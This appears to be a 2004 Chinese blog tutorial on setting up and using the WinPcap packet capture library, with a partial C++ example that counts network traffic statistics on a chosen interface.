nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 2004-9-29\n一．Winpcap简介\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Winpcap是UNIX下的libpcap移植到windows下的产物,他是一个free and open source的项目。Winpcap工作于驱动(Driver)层，所以能以很高的效率进行网络操作。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Winpcap提供了以下强大的功能：\n1．捕获原始的数据包\n2．设置filter,只捕获自己敢兴趣的数据包\n3．方便的把捕获的数据包输出到文件和从文件输入\n4．发送原始的数据包\n5．统计网络流量\n6．\u0026hellip;..(其它还有很多，我不知道了)\n二．Winpcap的安装使用方法\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 1．到http://winpcap.polito.it下载winpcap的安装包，程序员开发包。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 2．执行安装包，这样你的机子就能运行winpcap程序了\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 3．解压开发包，在VC的option的include和lib中加入winpcap的\ninclude和lib\n4. 在你的程序中加入#include \u0026lt;pcap.h\u0026gt;, #include \u0026lt;remote-ext.h\u0026gt;.然后在工程的setting中加入预定义宏:WPCAP,HAVE_REMOTE.导入wpcap.lib库\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 5．就可以编写wpcap程序了\n三．Winpcap的一些基本的功能的实现\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 一）捕获数据包\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 1.\u0026nbsp;\u0026nbsp;\u0026nbsp; 枚举所有的可用的设备[pcap_findalldevs_ex]（可选）\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 2.\u0026nbsp;\u0026nbsp;\u0026nbsp; 通过名字打开一个设备[pcap_open()]\n在这里可以打开一个文件，只是在打开这个文件之前需要通过pcap_createsrcstr创建相应的name string\n3.\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 设置Filter[pcap_compile, pcap_setfilter] (可选)\n4.\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 捕获数据\n有几种捕获数据的方法（捕获数据的数据都是最原始的数据包，即包含数据链路层的数据头）\na． 是以回调的方式[ pcap_loop,pcap_dispatch() ].\n这两种方法基本相同，底层收集数据包，当满足一定的条件（timeout 或者缓冲区满），就会调用回调函数，把收集到的原始数据包s,交给用户。他们返回的数据缓冲区包含多个包\nb.\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; pcap_next_ex()的方式\n每当一个包到到达以后，pcap_next_ex就会返回，返回的数据缓冲区里只包涵一个包。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 二）发送包\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Winpcap中有发送单个包和发送多个包的方法。这里只说说发送单个包\n1． 通过名字打开一个设备[pcap_open]\n2． 自己构造一个原始数据包（这个数据包会不经过任何处理就发送出去，所以必须把包中的各个字段设置好。另外这个数据包是包含数据链路层报头的）\n3． 使用pcap_sendpacket()发送数据包\n三）统计网络流量\n1. 通过名字打开一个设备[pcap_open]\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 通过 read_timeout来设置统计的时间间隔\n2. 设置filter[pcap_compile, pcap_setfilter] (可选)\n3. 设置设备的为统计模式[ pcap_setmode(MODE_STAT);]\n4. 开始统计，pcap_loop/pcap_dispatch()\n5．在回调函数中的参数中就包含了统计信息，如下图:\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; 四. 总结\n这些东西都是我在学习winpcap的过程中的一些经验和总结。由于我学习winpcap的时间很匆忙，只是按照step by step guide来学习的，所以我对于winpcap的理解也就只能局限与此，希望能在以后有机会深入学习\n/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\n//下面是一个应用winpcap写的一个网络流量统计的例子，\n// nettraffic.cpp : Defines the entry point for the console application.\n//\n#include \u0026quot;stdafx.h\u0026quot;\n#include \u0026lt;pcap.h\u0026gt;\n#include \u0026lt;remote-ext.h\u0026gt;\n#include \u0026lt;iostream\u0026gt;\n#include \u0026lt;winsock2.h\u0026gt;\nusing namespace std;\n//\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\n//\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\nvoid dispatcher_handler(u_char* user_data, const struct pcap_pkthdr * pkthdr, const u_char *pktdata);\n//\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\nint main(int argc, char* argv[])\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; int\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; i;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; pcap_if_t*\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; alldevs;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; pcap_if_t*\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; dev;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; char\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; errorbuf[PCAP_ERRBUF_SIZE];\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; int\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; choice;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; pcap_t*\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; stathandle;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; WSADATA\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; wsadata;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; struct timeval\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; timestamp;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if( WSAStartup( MAKEWORD(2,2), \u0026amp;wsadata) != 0 )\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; cerr\u0026lt;\u0026lt;\u0026quot;WSAStartup failed [ \u0026quot;\u0026lt;\u0026lt;WSAGetLastError() \u0026lt;\u0026lt;\u0026quot; ]\u0026quot;\u0026lt;\u0026lt;endl;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return (-1);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //enum all device\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if( pcap_findalldevs_ex( PCAP_SRC_IF_STRING, NULL, \u0026amp;alldevs, errorbuf ) == -1 )\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; WSACleanup();\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; cerr\u0026lt;\u0026lt;\u0026quot;pcap_findalldevs_ex failed! (\u0026quot;\u0026lt;\u0026lt;errorbuf\u0026lt;\u0026lt;\u0026quot;)\u0026quot;\u0026lt;\u0026lt;endl;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return (-1);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; for( i=0,dev = alldevs; dev != NULL; dev = dev-\u0026gt;next )\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; cout\u0026lt;\u0026lt;++i\u0026lt;\u0026lt;\u0026#8216;t'\u0026lt;\u0026lt;dev-\u0026gt;name\u0026lt;\u0026lt;endl;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if( i== 0 )\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; WSACleanup();\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; cerr\u0026lt;\u0026lt;\u0026quot;no device found!\u0026quot;\u0026lt;\u0026lt;endl;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return (-2);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //let user choice\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; while( 1)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; cout\u0026lt;\u0026lt;\u0026quot;please choice a device:\u0026quot;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; cin\u0026gt;\u0026gt;choice;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if( choice \u0026gt;= 1 \u0026amp;\u0026amp; choice \u0026lt;=i )\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; break;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; cerr\u0026lt;\u0026lt;\u0026quot;input error, you shall choice a device from upon list\u0026quot;\u0026lt;\u0026lt;endl;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //move to the choice device\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; for( i=0, dev = alldevs; i\u0026lt;choice-1; i++,dev = dev-\u0026gt;next );\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if( (stathandle = pcap_open( dev-\u0026gt;name,\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 100,\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; PCAP_OPENFLAG_PROMISCUOUS,\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 500,\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; NULL, errorbuf ) ) == NULL )\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; cerr\u0026lt;\u0026lt;\u0026quot;open device failed! [device:\u0026quot;\u0026lt;\u0026lt;dev-\u0026gt;name\u0026lt;\u0026lt;\u0026quot;] \u0026quot;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;\u0026lt;errorbuf\u0026lt;\u0026lt;endl;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; pcap_freealldevs( alldevs );\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; WSACleanup();\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return (-3);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; cout\u0026lt;\u0026lt;\u0026quot;is Stat \u0026quot;\u0026lt;\u0026lt;dev-\u0026gt;name\u0026lt;\u0026lt;\u0026quot; \u0026#8230;\u0026quot;\u0026lt;\u0026lt;endl;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; pcap_freealldevs( alldevs );\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; pcap_setmode( stathandle, MODE_STAT );\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; timestamp.tv_sec = 0;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; timestamp.tv_usec = 0;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; pcap_loop( stathandle, 0, dispatcher_handler,(unsigned char*)\u0026amp;timestamp );\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; pcap_close( stathandle );\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return 0;\n}\n//\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\nvoid dispatcher_handler(u_char* user_data, const struct pcap_pkthdr * pkthdr, const u_char *pktdata)\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; static struct timeval\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; tstamp = *( (struct timeval*)user_data );\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; LARGE_INTEGER\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Bps,Pps;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; unsigned long\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; delay;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 